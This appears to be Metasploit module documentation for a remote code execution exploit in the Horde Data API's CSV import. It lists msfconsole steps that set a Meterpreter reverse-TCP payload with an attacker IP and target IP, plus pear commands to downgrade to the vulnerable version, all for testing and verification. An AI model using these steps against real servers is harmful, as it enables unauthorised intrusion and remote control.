## Vulnerable Application

The Horde project comprises several standalone applications and libraries, the [Horde Groupware Webmail Edition suite](https://www.horde.org/apps/webmail) (tested version 5.2.22) bundles several of them by default, among those, Data ([Horde Data API](https://github.com/horde/Data)) is a library used to manage data import/export in several formats, e.g., CSV, iCalendar, vCard, etc. This library up to version 2.1.4 (included) is vulnerable to PHP code injection.

Find more information in the [original advisory](https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/).

## Verification Steps

  1. Install the application (see below)
  2. Start msfconsole
  3. Do: ```use exploit/multi/http/horde_csv_rce```
  4. Do: ```set payload php/meterpreter/reverse_tcp```
  5. Do: ```set lhost [ATTACKER IP]```
  6. Do: ```set rhost [TARGET IP]```
  7. Do: ```set username [username]```
  8. Do: ```set password [password]```
  9. Do: ```exploit```
 10. A session should open

Downgrade the Horde Data API package if needed:

```
pear uninstall --ignore-errors horde/horde_data-2.1.5
pear install --ignore-errors horde/horde_data-2.1.4
```
